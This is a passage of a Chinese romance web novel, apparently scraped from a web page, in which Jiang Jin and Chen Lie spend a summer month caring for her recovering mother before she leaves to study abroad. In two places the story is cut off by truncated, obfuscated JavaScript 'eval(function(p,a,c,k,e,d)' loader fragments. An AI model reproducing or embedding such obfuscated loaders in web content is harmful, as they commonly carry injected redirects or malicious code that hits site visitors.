姜堇点点头:“是在好转。医生说,这的确是好转的迹象。是会有一段混沌期的,如果接下里治疗的好的话,或许她以后就认得我了……” 姜堇说这些话的时候,语调和表情一样平静极了。可走到走廊尽头时,她忽然蹲下来,把脸深深埋进臂弯里。 伸出一只手来,嗡声嗡气跟陈列说:“你掐我一下。” 陈列:“嗯?” “你掐我一下。”姜堇仍埋着头:“我是在做梦吗?” 姜堇以前做过太多的梦,都是噩梦。 她会从梦里挣扎着醒来,大口喘息着去床头找水喝。 可她从没做过美梦。 她不知该如何从一个美梦里醒来。 陈列沉默握住她的手,没掐她,手指一根根嵌入她的十指间。 “陈列。”姜堇终于抬起头来,人还蹲着:“你说她会好起来吗?” “我不知道。”陈列据实以告。 “你真是……”姜堇吸一口气,笑道。 之后是一段好日子。 姜堇说过,她喜欢充满希望的日子。 她另找了三份家教工作,工作时间以外,经常跟陈列去医院看白柳絮。 白柳絮好似经常会有一瞬的神思清明,认出她是阿堇。 跟她说:“阿堇,我想吃饼干。”拉着她的手压低声,做贼似的:“你去我床头柜抽屉里找,有我给你藏的黄油曲奇,香得来。” “拿饼干的时候小心点,碎屑不要掉出来,有老鼠。” 姜堇拉陈列去了市郊的一座食品批发市场,想去看看那里是否还有童年的吃食。 这里是商贩们的聚居地,市场门口摆着好几台摇摇车,另有一台大头贴机。 这种过时机器,在市中心的商场里早觅不到踪影了。 姜堇一掀门帘,拉着陈列走进去。 “搞什么……”陈列不耐烦的时候语气就有些硬:“你认真的?” 姜堇拉着他在镜头前的椅子坐下:“你知不知道你几乎从来不笑的?” “你总是皱眉,像个小老头。”姜堇说着模仿了下:“像这样。” 陈列:“哪有那么丑?” 姜堇笑起来:“是真的。” 她抬手在陈列眉心轻轻摸了下:“是真的,陈列。” 陈列不言语了,任她拿起一条粉红色的笔在机器上点按,屏幕上就出现不同的小熊头套、兔子头套、或是墨镜在他们脸上,配很多闪烁的爱心和星星。 脸被美颜得过分尖,眼睛失却比例的大。 姜堇笑得停不下来,点选到小熊头套上问陈列:“选这个?” 陈列冷着张脸点按取消。 姜堇把粉红色的笔往他一递:“那你选。” 陈列接过笔放进一侧的凹槽里:“就这样。” “?”姜堇:“你什么滤镜都没选呢,这就是登记照。” 陈列仍是道:“就这样。” 姜堇看向镜头。 屏幕里,她和陈列并肩坐着。她简约的白T恤和陈列的黑T,她披散在肩头乌浓的发和陈列的寸头,她略含笑意的浅棕双眸和陈列的黑瞳。 “好,就这样。”姜堇点头:“拍照键是哪个来着……” 说着又问:“陈列,你待会儿拍照的时候能不能笑一下?” 陈列:“不能。” 姜堇轻呵一声。她寻到了拍照键,提醒陈列去看镜头,当她按下拍照开始倒计时的瞬间,陈列微微挑唇,露出浅淡笑意。 不是冷笑,不是不屑。让姜堇一瞬恍然——如果陈列肩头没背负着他父亲那些债的话,作为一个十八岁意气风发且骄傲的少年,他就该是这样笑的。 姜堇望着镜头露出笑意,唇瓣很轻地翕动道:“陈列,我收到伯明翰城市大学的邮件了。” “我的申请通过了。” 当她说完这句的时候,镜头咔嚓一声,定格住二人的笑颜。 陈列大概太不常笑了,他甚至不习惯笑意从他脸上淡褪的过程,以至于显得很突兀。他看向姜堇,表情又变作平常的淡漠。 姜堇看着他,轻声又说一次:“我的申请通过了。” 他点一下头,转脸去看屏幕。 屏幕跳跃闪烁着询问他们打印几份,他点选“1”,滋滋打印的声音响起,可取照片的小格里始终空荡,好像机器卡住了。 他攥拳狠捶 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去年的冬天格外凛冽,今年夏天又格外湿热,梅雨季的雨气不再从天幕落下来,氤氲在空气中挥之不去似的。 姜堇在食品批发市场闷出了一头的汗,又在医院沾染了满身的消毒药水味。 她烧了水准备洗头。通常她都是在甲板上洗她的一头长发,但今日回家时,她察觉城中村有两个混混青年在往河畔方向走。 她警惕性很高,不想在甲板上露脸惹事,便在船舱里洗头。 洗完又用烧剩的水擦拭身体洗澡,把一盆水倒进河里,坐在木板边用毛巾擦着自己的发尾。 敲门声便是在这时响起来的。 姜堇下意识把书包里那柄小小的水果刀摸在手里,但很快她发现这动作是不必要的,因为那敲门声虽比平时重一些,但那的的确确是陈列。 姜堇把水果刀丢回书包里去开门。 陈列站在舱门外。天还未彻底黑透,是一种锦绣成灰的颜色,河面上起了雾,又让这灰里多了分明的颗粒感,落在陈列肩上。 姜堇问:“不进来么?” 陈列这才跟着她走进来。 姜堇锁了门,见陈列站在矮桌边,也不坐。 她走过去:“你……” 还未等她说出一个完整的句子,陈列把手里什么东西往桌面一丢,啪地一声。 姜堇垂眼去看,是一张银行卡。 她抿了抿唇,向矮桌走过去。 路过陈列身边时,陈列将她手腕一捉,她毫无防备,被陈列带倒在那窄窄的木板上。 陈列欺身压了过来,两人这一下动作太大,船身晃了两晃,连带着那没灯罩的灯泡也跟着一晃。 陈列瞳中墨黑的聚光点跟着一晃,那让他神情显得讳莫如深。他俯瞰着姜堇说:“卡里有二十万。” 上一次他们在船舱这样纠缠时,停电了,周围是一片沉寂的黑。 今夜昏茫的灯,却把一切照得很分明。 姜堇穿一身夏季睡衣。不同于她在拳馆穿的那些红裙子,她的睡衣却都款式保守,即便夏天也是短袖长裤,好似她心中有着强烈的不安全感。 但那全棉的睡衣被洗过太多次了,变得薄而软塌塌的,紧贴着她身段,贴着她胸前被陈列压出的某种具体的形变,比她的睡衣还柔软。 她刚洗了头,没有吹,被毛巾揉到半干,贴在木板的床单上。一双小鹿般浅棕的瞳望着陈列,不惊惶,但反倒了这时,瞳中有种平日里难得一见的天真。 陈列的心脏发痛。 他从不是一个外放的人,经历的事情太多,让他太擅于把一切情绪封存在冷硬的外壳中。他很难描述他今天听见姜堇说出国的学校定了事,为何一瞬很难控制自己的情绪。 甚至那股情绪到现在还没消褪。 他俯瞰着姜堇,感受着她的馨芬柔软,在让自己身体某处剧烈的变形。 船舱内未散的水汽,蒸腾着某种暧昧。 陈列的那一处压着,到了让姜堇发疼的程度。 纵使是她也不敢低头去看,更遑论触碰。她睁着眼问陈列:“钱是从哪里来的?” “你以为我会去犯罪?”陈列冷笑一声:“我卖了个程序。” “什么程序?” “我在之前的城市,和几个年长我几岁的大学生成立了公司,做了个程序。我把程序卖了,换了二十万。”陈列言简意赅地说。 他没提照他最初的预想,这个程序再好好打磨一番,卖出的价格翻数倍都不止。 要拿这钱去填他爸赌债的窟窿差得太远,却能彻底改写一个女孩的未来。 “陈列。”姜堇把手指轻轻插入他发间:“我知道你为什么生气。” “你知道?”陈列又一声冷笑:“连我自己都他妈的不知道。” 明明他一早知晓姜堇是要走的。 为何他会生出这般难控的情绪? 大概因为那张合照让他生气。 姜堇为什么要让他笑?合照上的他,笑得像个傻子。 姜堇一早说过他是个傻子。 他大抵就是在气这个吧。他们的关系自利用而始,至利用而终。哪怕是他自甘认命,哪怕是他飞蛾扑火。 他掌着姜堇的下巴:“二十万你拿走,换你一晚。” 他故意把话说得这样难听。姜堇却没什么反应,就那样看着他。 陈列的表情更加沉冷,问姜堇:“你在等什么?” 姜堇终是伸出手来,触碰他。她到底是个十八岁的少女,这样的情形让她阖了阖眼,心怦怦跳着,那是一种本能的复杂感觉,夹杂着恐惧。 这一刻,极为罕有的一刻,姜堇露出了些真实的情绪,不再是平时的理智算计。 陈列垂眸注视着她:“怎么,还敢继续么?” 姜堇阖着眼,等着他的下一步动作。说不上自己在倔什么,她不想服输,也不想开口阻止。 陈列的呼吸凌乱地不成章法。姜堇感到他灼热的气息打在自己颈侧,良久之后,他却没有进一步动作。 姜堇睁开眼,看他黑沉的双瞳几要喷火。 陈列终是坐起来,把那尚未使用的银色小包装丢进垃圾桶。他靠着船舱沉沉地呼吸,一手抚了抚自己的寸头,阖着眼,哑声对姜堇说: “钱你拿走。等你出了国,我们就当从没认识过。” 38. 本来的少年 陈列离开得很快。摔上船舱门,消失得无影无踪。 他快步往城中村的方向走,发现一辆倒在路边草丛里的共享单车,看了眼,竟没上锁。他跨上去,漫无目的地往前猛骑。 直到几乎喘不过气,他掏出手机给叶炳崐打了个电话。 叶炳崐一听他声音吓了一跳:“卧槽列哥,你这是在……干什么呢?” “骑车。” 叶炳崐一个大喘气:“吓死我了,我还以为你这么不把我当外人呢。” “你在哪?” “喝酒呢,跟几个兄弟。”他问陈列:“你来么?” 陈列让他把地址发过来。 乘公交过去,那是一个路边大排档。几条烤鱼摆在铁盘里,还有些凌乱的竹签,叶炳崐他们几人聚在一起,啤酒白酒混着喝。 “列哥。”叶炳崐招手唤他过去。 他沉默过去坐下,叶炳琨笑嘻嘻把一个装白酒的小杯,往硕大的啤酒杯里一沉:“这叫‘潜水艇’,列哥怎么样,走一个?” 酒混着喝最容易醉。 叶炳崐半是玩笑半是认真,指着他那几个兄弟:“哥几个都是第一次见你啊,可别掉链子。” 陈列也不多话,端起酒杯,一仰头,喝得一滴不剩。 “嚯!”叶炳崐都惊了。 之后陈列不再喝,只是坐在一旁沉默地抽烟。 一群青年打从他们身边路过,一个瘦成竹竿的倒退几步回来:“列哥?” 正是介绍他去拳馆的瘦猴。 陈列:“你认错人了。” 瘦猴:…… 这他妈还能认错?这世界上有几个留寸头贼能打的帅比? 他看叶炳崐他们一眼,大概明白陈列不想模糊生活每一面的边界线,一扬手,走了。 叶炳崐:“那谁啊?” 陈列:“没谁。” 其中一个人的女朋友来了,带着自己的闺蜜。女孩做着夸张的粉色美甲,一来就在男朋友脸上响亮地香了一口。 她闺蜜的视线落在陈列身上:“嗨,帅哥。” 叶炳崐自己目前的感情生活得意,立志要跟秦筱婷去同一座城市,天涯海角永相随。 所以他看不得自己兄弟单着,立马倒了两杯啤酒:“列哥你跟美女喝一个。这是陈列,美女你……叫什么来着?” 女孩翻叶炳崐一个白眼:“桑娜。” 陈列把酒杯推向一边,不喝的意思非常明确。 叶炳崐咂一下舌——他总这样,拒绝人的时候从不婉转,连个借口都不找。 女孩打量陈列一眼,主动的意味明显:“你叫陈列?冷冽的冽,还是热烈的烈?” 陈列沉默地抽着烟。 女孩嘀咕一句:“拽什么啊,就你一个帅哥啊?” 一转身,走了。 “得,把美女得罪了吧。”叶炳崐凑近陈列:“列哥你怎么对什么类型的美女都一副爱答不理的样儿啊?你真对女人不感兴趣?你别是那什么……冷淡吧。” 陈列视线冷冷地扫过来。 叶炳崐浑身一凛——他说错什么了他? - 这两天陈列没同姜堇联系,姜堇也没见到他。 两天后的早晨,姜堇背着包走出船舱,准备去医院看白柳絮。 陈列蹲在甲板上刷牙,姜堇见到他,远远冲他点了一下头。 陈列:“去医院?” 姜堇:“嗯。” 陈列:“那你等等。” 他洗了把脸,走进船舱换了身衣服,跃下甲板走到姜堇身边:“走吧。” 他下巴挂着尚未擦干的水珠,在薄而亮的晨曦间。 姜堇没想到,他的态度再自然不过,好像那一次拍照、那一夜发狠地缠绵,从来没发生过。 好像他从没失控过。 两人乘公交车来到医院,白柳絮靠在床头,沉默玩着自己的指甲。 姜堇走过去,理一理她的头发。 她的视线由浑浊,到清明,迷惘了一瞬,不确定地唤:“阿堇?” 姜堇柔声答:“哎。” 白柳絮望向她身边的陈列:“阿堇,这是你男朋友么?” 她时而像大人,时而又像孩子。低下头,似在自言自语地理顺关系:“阿堇的男朋友……那就是我的女婿。” 姜堇还未开口答她的话,她话题却跳跃,拉着姜堇悄声问:“你给我带曲奇饼干了么?” 姜堇耐心笑着答她:“护士盯着你呢,不让你吃那么多甜的。” 白柳絮撇一撇嘴:“我不乐意待在医院。阿堇,我到底有什么病?为什么不带我回家?” “求求你啦。”白柳絮孩童般晃着她的手:“我在这里待得无聊极了,你带我回家吧。” 姜堇去了趟医生办公室。 医生的建议是:“就此出院她肯定不具备条件。不过她这段时间状态算稳定,如果你想接她回家住一段时间的话,把药带好,确保每天按时吃的话,也不是不行。” 姜堇垂着眼睫:“嗯。” 走出办公室,陈列问:“你要接她出院么?” 姜堇笑了笑:“有一瞬间这么想过。仔细考虑一下,船上的条件还不如医院,她住不惯的,还是算了。” 又两天后,高考出分。 这一年的江城,文理科加在一起,过600分数线的总共有591人,姜堇和陈列皆在其中。 杜珉珉给姜堇打电话,快乐地尖叫:“姜堇你查分了吗!我考了564!我爸妈都乐疯啦。” 填志愿的那几天,姜堇去得很迟。 她在学校绷了三年的状态,不想在最后时刻被人抓住破绽,因而不愿遇到任何人。 再过一个月,她就将远远地离开这里。 从此天高任鸟飞,海阔凭鱼跃。那个只能住在破船上任人欺凌的孤女,将被她抛在脑后。 杜珉珉十分不满地电话姜堇:“你要去镰仓玩,你倒是提前知会一声啊,我等你回来后一起去学校填志愿多好?这下好,连面都见不上。” 姜堇笑着跟她道歉。 姜堇踩着最后一天的最后时分去填志愿,学校里已没什么人了。 倒是很意外的,在填志愿的教室里遇到了陈列。 课桌面对面拼在一起,姜堇和陈列分坐在两端。 姜堇对着填报表,填了江城本地最好的大学。 不过这志愿表她不打算交,只是来给自己高中三年的生活画一个句号。 陈列坐在对面等她填完,顺手拿过姜堇的志愿表,提笔抄了一份。 当然,他是文科生,系别跟姜堇不一样。 姜堇一怔,刚要说话,陈列把志愿表递还给他,整个人靠向椅背,略有些懒散的:“别紧张,只是我这人对上什么大学没什么想法,随便填一所。” 从前他被父亲的债压着,只觉得过一天算一天。 现在?他在姜堇这里认过一次命了,够了。生命的其他层面,他又为什么要认命? 他微微扬着下巴,那姿态是散漫的,却又是骄傲的:“本科上什么大学没什么所谓了,我会考跨专业的研究生,还是学编程。” 他站起身顺手抄起志愿表:“走了。” 一中对学生管得细,志愿表非得与讲台上坐镇的老师商议过、才能正式提报。 窗外蝉声鸣唱,梧桐成荫。 姜堇坐在原处望着陈列的背影。 或许他本该是这样的少年,须知少日拏云志,曾许人间第一流。 - 姜堇在教室里坐了许久,才把志愿表收进书包,站起身离开。 走出一中校门时,她最终回头望了眼,眼神中并无留恋。 令她意外的是,陈列还站在校门口,肩上随意勾着那只单肩包,站成一只蛰伏的豹。 姜堇走过去问:“在等叶炳崐?” 陈列扭头瞥她一眼,叫她:“走。” “你是在等我?”姜堇有些意外:“去哪里?” 陈列并不答她的话,带着她上了一辆公交。 姜堇也不再发问。两人坐在车后排,陈列看一眼姜堇,她沉静望着窗外,两人的剪影如二次曝光般叠映在车窗上,窗外的霓虹闪过。 那般的神情,似陈列无论要带她去哪里、她都会相信。 陈列抽回视线。 陈列领着姜堇下车,姜堇发现下车的地方离臭水河畔穿行。 陈列带她穿过下班买菜的上班族,穿过推着婴儿车出来遛弯的人家,穿过挂一根红绸转来转去赶苍蝇的卤菜摊。 姜堇终是禁不住又问一次:“陈列,到底去哪?” 陈列引着她走进一个小区,上楼。 姜堇跟在陈列身后:“是谁家?叶炳崐家?” 直到陈列掏钥匙开门,沉默走进去,见她站在门口,又回过头来唤她:“进来。” 姜堇踏进去。 那是一个小两居。 很简单的装修,略有些陈旧。陈列站在电视机旁说:“那二十万你退了我四千三,你只收十九万五千七。” “退的钱我收到了。”他伸指在电视上敲了下:“这房子我租了一个月,短租的价钱要贵些,一千五。另外的钱我添了些必要的家电,买了些日用品。” 陈列:“你把你妈接过来吧,住一个月也好。洗漱和厨房用品我看着买了些,你自己检查一遍,缺什么自己去补。” 姜堇的唇嗫嚅了一下。 他往门口走去,预备先离开。最后扭头看了姜堇一眼:“既然要走,就别留遗憾。一个月之后,头也不回地走。” 他终是咚一声带上防盗门,出去了。 - 姜堇从出租屋出来的时候,鼻头红红的。 她并没有哭,只是涌出一种类似感冒鼻塞的感觉。她下楼去了趟超市,补充了些黄糖、冰糖、卫生巾,又上楼去出租屋里放好。 第二天,她从船舱里搬了些衣物过来。出租屋里配有洗衣机,她把有些长年收在柜子里泛了潮的洗一遍,晾在阳台上。 便出发去医院接白柳絮。 想不到陈列也在病房里,看见她,冲她一点头,她也朝陈列点点头,两人都没有说话。姜堇下楼去办临时出院手续,回到病房时,轻声叫白柳絮:“妈。” 白柳絮抬起头来。 姜堇笑道:“我带你出院回家好不好?” “回家好呀!”白柳絮眼睛都亮了,喜滋滋的:“回家……家……可是……” 她迷惘地看着姜堇:“哪里是我们的家呢?” 姜堇心里一酸。 是的,她们从来没有家。 从前白柳絮住在戏班子里,后台搭张床便是她的家。怀着孕依然蜷在那张一米的小床上,幻想有人娶她回家。 后来白柳絮跟姜堇的继父结了婚,那也实在不算她们的家。只要继父喝醉了开始打人,她们便要仓皇而逃,在街道上整夜整夜地走。 再后来继父去世,白柳絮进了医院,从前戏班主家的一条废弃旧船,就成了姜堇的家。 现在呢? 现在姜堇抚一抚白柳絮的额发,柔声劝慰:“你跟我走,总归是有家的。” 一个月的临时出租屋,成了她们的家。 那也好过没有家。甚至,是她们拥有过最好的家。 陈列送她们回去。从医院出来的时候,阳光炽烈,白柳絮目露惊惧,牢牢抓着陈列的手。 在心底恐惧的时候,她本能选择依靠更为强壮的陈列。 姜堇拎着她的行李跟在一旁,看陈列拍拍她的手道:“没事。” 三人回了出租屋。姜堇把日照好的那一间主卧留作白柳絮的卧室,她送白柳絮回房休息,又叫陈列:“留下来吃午饭。” 打开抽油烟机姜堇才发现有小小的问题,陈列搭了张凳子,站上去修。 他发现姜堇做菜其实并不利索。 大概从小在继父家总是仓皇,没有做菜的空间。后来一个人住在破船上,也只有小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白柳絮悄声问:“那个帅帅的是你男朋友哦?” 她脑子仍有些混沌,认得陈列的时候认不出姜堇,认出姜堇了又不大记得陈列。 姜堇挑着唇角:“为什么说他是我男朋友?” “感觉呀。”白柳絮:“就是一种感觉嘛。那他是不是?” 姜堇笑而不语,把两瓣核桃仁塞到她手里。 白柳絮一副跟闺蜜聊八卦的口吻:“那你喜不喜欢他啦?” 姜堇反问:“怎么样算是喜欢?” 白柳絮头头是道:“喜欢他就是不想离开他咯。” 姜堇浅淡地扬扬唇,不再说话了。 这天周日,姜堇晚上要去拳馆上班。 她自不可能让白柳絮一个人待在家里,早已找好了个阿姨,不让阿姨做家事,买她一晚的时间看护白柳絮。 姜堇不好在家里化妆,怕浓妆的自己刺激白柳絮。 便素面朝天地到了拳馆,换了裙子去洗手间化妆。 夏天是生意的旺季,拳馆有几名新来的卖酒女郎。姜堇对着镜子描眼线时,刚好其中一人走进来,对着她旁边的镜子化妆。 眼尾瞟姜堇一眼。 姜堇五官清冷,不笑的时候有种生人勿近的意味。坦白来说,不是不容易得罪人。 女郎的手肘有心无意地撞她一下,姜堇的眼线就画飘了。 女郎嚼着口香糖对镜涂口红,一副根本没注意到的劲头。 姜堇点点她的肩。 她转过来看姜堇,先就不耐烦地啧了一声。 姜堇语调平稳道:“这种情况我以前也遇到过。因为我阻止的不坚决,后来的事变得很麻烦。” 女郎的眼尾往上吊:“你在说什么?” 姜堇高高扬起手,对准她脸,在落下以前堪堪收住。 女郎被她掌风撩乱了额发,几乎懵了:“你干嘛?” 姜堇:“我只是清楚地告诉你,如果再惹我,我就会这样毫不留情地还击你。” 她对着镜子擦去眼线,也不再化,走出洗手间去。 拳馆也是个生态完全的小社会。安群来了这么些日子,性子软,搬酒桶这活仍是交到她头上。 她实在没辙,每每求助陈列。 姜堇走过去,点点安群的肩。 安群回头见是姜堇。姜堇是这些女郎里长相顶出挑的一个,她今日没化眼线,裸眼配格外浓烈的红唇,反而有种别样的风情。 安群本能紧张:“有、有事?” 姜堇:“你得学会说不。” 安群:“什么?” 姜堇点点扎啤桶:“下次再有人叫你搬,你说不。” 安群:“理由呢?” 姜堇耸了下肩:“不需要理由。” 安群:“那她们会怎么对我?” 姜堇这样告诉她:“刚才我在洗手间化妆,有人故意来撞我的胳膊,我的巴掌几乎要落到她脸上,她看着凶,可她也会怕。” 陈列在一旁低低地笑一声。 安群看姜堇一眼,对陈列道谢后离去。姜堇的裙摆很短,伸手去吧台里够口香糖时,露出白皙的腿根。 陈列斜倚在吧台边:“你这么厉害?” 姜堇把口香糖塞进嘴里,又耸一下肩。 陈列:“你这么厉害怎么不告诉安群,我是你男朋友?” 姜堇扭头看着陈列。 陈列墨色的双眸盯着她:“去告诉安群,我是你男朋友。” 姜堇当真走过去,拍拍安群的肩,跟安群说了两句什么。 安群远远地往陈列这边看了眼,冲姜堇点了点头。 陈列又一声低笑,吧台上放着他喝剩的一点啤酒底,他端起来一饮而尽,拉出流畅锋利的颈线。 他朝姜堇走过去,托住姜堇后颈,直接吻了下去。 姜堇微微睁眼,他口腔内的淡淡酒味和烟草味铺天盖地袭来。周围有人鼓掌、有人起哄,陈列那样低调的人却浑然不觉,托着她后颈深深深深地吻她。 姜堇阖上眼,回应着陈列的吻。 她忽然懂了陈列的想法—— 如此不留遗憾的过一个月,于她和白柳絮是许久不得的脉脉温情。 于她和陈列,却是飞蛾扑火的、无可救药。 39. 短暂 往后那段日子,在姜堇的记忆里变得很模糊了。 好像人越想努力记住什么,越会变成抽屉里放久了的曲奇饼干,泛着潮气,手指一触就化为碎屑。 她好像只记得那年夏天特别热。 蝉鸣大声得好似没有未来,要在这一个夏天里消耗掉所有的生命力。姜堇在厨房里做饭时,穿一件无袖的吊带背心,长发在脑后挽起来,随意地垂下一两缕。 正对窗户的那株梧桐翠碧得刺人眼睛,手里的小油菜也是菜市场里最新鲜的,争辉似的,由姜堇在半透的淡绿小盆里淘洗。 白柳絮在客厅听戏,咿咿呀呀的唱腔传来。 一旁的锅里炖着汤,姜堇热得不行,用没沾水的手背蹭一下额,又感到汗珠顺着颈间滚下来。 有敲门声传来。 陈列这人看着糙,有些时候心又极细。白柳絮情绪不稳定,他怕乍然响起的门铃声惊着白柳絮,每每只是敲门。 姜堇在厨房里忙,听见白柳絮去应门。 白柳絮认得姜堇的时候就不大认得陈列,只叫他:“阿堇的男朋友。” 陈列往厨房里来的时候,姜堇忙着自己手里的活没回头,只嘴里招呼一声:“来了。” 陈列这一个月里并不常过来。 他依旧住在船舱,偶尔和以前的朋友联系做一些公司的事。 “嗯。”陈列应一声,看向姜堇的背影。 她穿无袖背心,露出冻牛奶一般白生生的两条臂膀。尽管她瘦,可刚满十八岁的女孩自带一种刚刚熟成的丰腴感。 汗液沾着背心,靠近腰肢的地方浸湿一块,顺着她腰臀的曲线起伏。 陈列走过去,洗手,擦干,宽大手掌的虎口展开掌着她后颈,刚好压住她那颗小小浅棕的痣。 他的手刚洗过,微凉,很舒服的触感。 姜堇下意识的动作像是小猫在他虎口里轻蹭了下,笑道:“你倒会赶时间,今天中午给我妈煲了老鸭汤。” 陈列掌着她后颈问:“热不热?” “热啊。”姜堇拿过两根洗净的小葱放到砧板上:“但没办法,厨房里又没有空调。” 他们在出租屋里总是这样,因为有白柳絮在,他们谈不上亲昵,只是一些很私密的小动作。 只有在拳馆,他们在更衣室或门口避人处疯狂地接吻,喝酒,狂欢,小腿高的芒草猫尾巴一样扫着姜堇细腻的脚踝。 这时姜堇一边切葱一边答陈列的话,陈列放开她后颈,过了会儿,姜堇感到身后一阵凉凉的风袭来,吹着她颈后的两缕碎发一扬一扬。 姜堇回头看,发现是陈列多牵出一条插线板来,插了台小小会摇头的电扇在那里。 姜堇:“会沾上油烟的。” 陈列:“那又怎么了。” 姜堇的睫毛轻翕一下。 是啊,那又怎么了? 左右不过一个月的时光而已。 姜堇笑一笑不再说什么了,转回头去切葱。 陈列问:“还有什么要切的?” 姜堇丢了块老姜给他,又给他两颗西红柿:“把皮剥了。” 吃午饭的时候,白柳絮的戏匣子依然咿咿呀呀的唱着。 姜堇嫌以前房东的窗帘不好看,自己去做了条浅纱格纹的。她以前并不会做这般“奢侈”的事,但这一个月的时间,她希望尽善尽美。 窗帘被她洗过,带着淡淡薰衣草的馨香。白柳絮受不了空调,客厅里两台电扇架着,又窗户大开吹着穿堂风,纱帘一扬一扬,灌入盛夏的风也仿似染了浅紫。 桌上摆着一道香菇老鸭汤,一道糖渍番茄,一道苦瓜炒鸡蛋。 都是清爽菜式。 白柳絮一边吃,一边悄悄地瞄陈列。 姜堇好笑起来:“你总看他做什么?”又用筷尖给她撕一块软烂的鸭肉。 白柳絮压低声,好似跟姜堇说悄悄话:“你男朋友长得蛮帅的哦。” 又说:“你还认不认识这么帅的?介绍给我呀。” 姜堇哭笑不得。 白柳絮的胃口总算比以前好些,相应的精神头也好,吃了饭也不肯去睡,嚷嚷着要吃陈列拎来的西瓜。 西瓜冰镇在冰箱里,陈列去切了几牙来。 到客厅一看,白柳絮却已经靠在沙发睡着了。 陈列低声问:“叫她么?” 姜堇摇摇头:“让她睡吧。”起身拿了张薄毯搭在她腰际。 又坐回茶几边的小板凳上,拿把小剪子剪着绿箩发黄的部分。 陈列把西瓜放在茶几,坐到沙发另一侧。 姜堇修剪完放下剪子,对着西瓜扬扬下巴,气声叫陈列:“吃啊。” 自己拿起一牙,眼睛弯弯的带上了笑意。 陈列瞥她一眼。 姜堇笑道:“西瓜……没见过切这么大的。” 姜堇举起西瓜凑近自己的脸比了下,又低头去咬。 陈列也勾腰拿了一牙。 白柳絮的记忆停留在古早,习惯也保持着当年。比如吃西瓜时她要拿一个盆,把西瓜籽噼里啪啦地吐进去,觉得这样才爽快。 此时姜堇岔开双腿对着盆,勾下纤细的颈项,把嘴里的西瓜籽吐进去。 陈列看着她。 她抬头,唇瓣被西瓜汁染出一点红。 陈列挪开视线,埋头去吃自己的西瓜。 客厅里有花露水的味道,纱帘飘飘扬扬,阳光被滤过一道在地板投射出不规则的影子。 陈列觉得自己双肩不自觉放松下来。 他的生活总是在躲避、奔逃,好像鲜少有这般放松的时候。 他甚至酿出了一丝困意,不过手里的西瓜刚吃了一半。 意识有些混沌起来的时候,他感到脚边有动静。 这样的出租屋里总归不可能有老鼠。低头去看,发现是姜堇用拖鞋抵住了他的拖鞋。 姜堇没穿袜子,露出圆润的、像一颗颗小鹅卵石般的脚趾,像无聊的猫抓玩毛线球似的,一下下轻蹭着他的拖鞋。 陈列很难形容那一刻心里的感觉。 只觉得某种酸软,素来坚固的某些坚持塌了一片。 很久以后,当他怀疑姜堇或姜雪照其人、到底有没有对他产生过一丝真感情的时候。 他总会想起这样的一幕—— 姜堇拿着半牙西瓜、脑后的丸子有些散了,用拖鞋一下一下轻蹭着他的拖鞋。 白柳絮这一觉睡了很久,姜堇先送陈列下楼。 上楼时,姜堇站在门前掏出钥匙,静静待了两秒,小小地吸一口气。 才把钥匙插进锁孔、一转—— 踏进屋内,她先站在玄关远远地看着白柳絮。 白柳絮已醒转过来了,坐在沙发上,双眼带某种刚睡醒的迷蒙,又逐渐转为清明。 看着姜堇试探性叫:“阿堇?” 姜堇屏在胸口的那口气终于呼出来,换了拖鞋朝白柳絮走过去,坐到小板凳上,脸埋在白柳絮的膝头。 白柳絮为女儿这意料之外的撒娇一愣,意识恍惚了一瞬,问姜堇:“你……几岁?” 姜堇伏在她膝上摇了摇头,阖上眼。 每次出门以后进门以前,姜堇都会重复一遍这样的流程。 因为她心里始终怀着一份恐惧,恐惧不知哪一次进门的时候,白柳絮已又不认识她了。 像这样白柳絮一下下轻抚着她的头的日子,她不知还能过多久。 白柳絮拎拎她的耳朵:“你还没告诉我呢。” 姜堇:“什么?” 白柳絮:“上次问你的呀,你到底喜不喜欢你男朋友。” 姜堇在白柳絮膝头伏了许久,闻着白柳絮身上的花露水味,垂着睫毛望着地板投射的阳光倒影,轻声说:“我不知道。” - 姜堇回船舱拿了趟衣物。 白柳絮不知怎的想起自己年轻时一条花裙子,非让姜堇给她找出来。姜堇回去的时候,陈列正站在甲板上打电话,一手插在裤子口袋里。 河畔芦苇摆荡,总是很静。陈列低沉的声音传来,他是在跟以前那些朋友商量公司的事,像是准备开发一款新程序。 姜堇朝他一点头,取了衣物欲走。 陈列挂了电话叫住她:“姜堇。” 姜堇回眸。 陈列跳下甲板朝她走来:“我今晚要去见朋友,你一起么?” 姜堇有些意外。 她和陈列在拳馆拥抱接吻,不代表他们真正渗入了彼此生活的每一面。 从前那个陈列,在姜堇这边从来都是空白。 姜堇问:“我方便去么?” “为什么不?”陈列说话的语气从来都淡。 他跟姜堇说:“今晚八点,我来接你。” - 姜堇每次出门上班时请的那位阿姨,跟白柳絮相处得挺好,今晚也是她来照顾白柳絮。 姜堇站在出租屋楼下等陈列。 一辆大众远远开过来的时候,姜堇习惯性后退一步。 直到车滴滴两声,副驾车窗降下来,露出两张陌生的年轻男人面孔。 姜堇面无表情地盯着他们,手下意识扣住自己的帆布包。 直到后排车门打开,陈列下车叫她:“姜堇。” 姜堇有些意外。 陈列解释:“我朋友的车。” 姜堇今天穿一袭白色连衣裙,扎马尾,配一只淡米黄的帆布包,像任何一个十八岁的单纯姑娘,五官却又格外出挑些。 她上车的时候,陈列对她介绍前座那人的名字,她淡淡点头。 那两人明显在冲陈列挤眉弄眼,笑得暧昧。 陈列一掌拍在驾驶座的车枕上,意思是叫他们闭嘴。 车驶上国道。写程序的人说到底都是内向性子,车内并无人聊天,只有对面方向驶来的车,前车灯倏尔一闪。 陈列扭头看一眼姜堇,发现姜堇抱着帆布包坐着,静静望着窗外。 她是在记路。 陈列心里动了下,某种难言的涩。他跟姜堇说:“没事。” 姜堇转回头冲他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈列朝男生们走去,拖了张电脑椅坐下。相较于站姿,他的坐姿显得随意很多,甚至有些懒散,仰靠着椅背,手里顺手拿过一个电脑桌上的魔方,轻巧地转了几下,一个蓝色立面就已拼好。 姜堇过去的时候,猫就已醒了。 她伸手在猫背上挠了挠,那猫果然好脾气,舒服地咕噜噜两声。 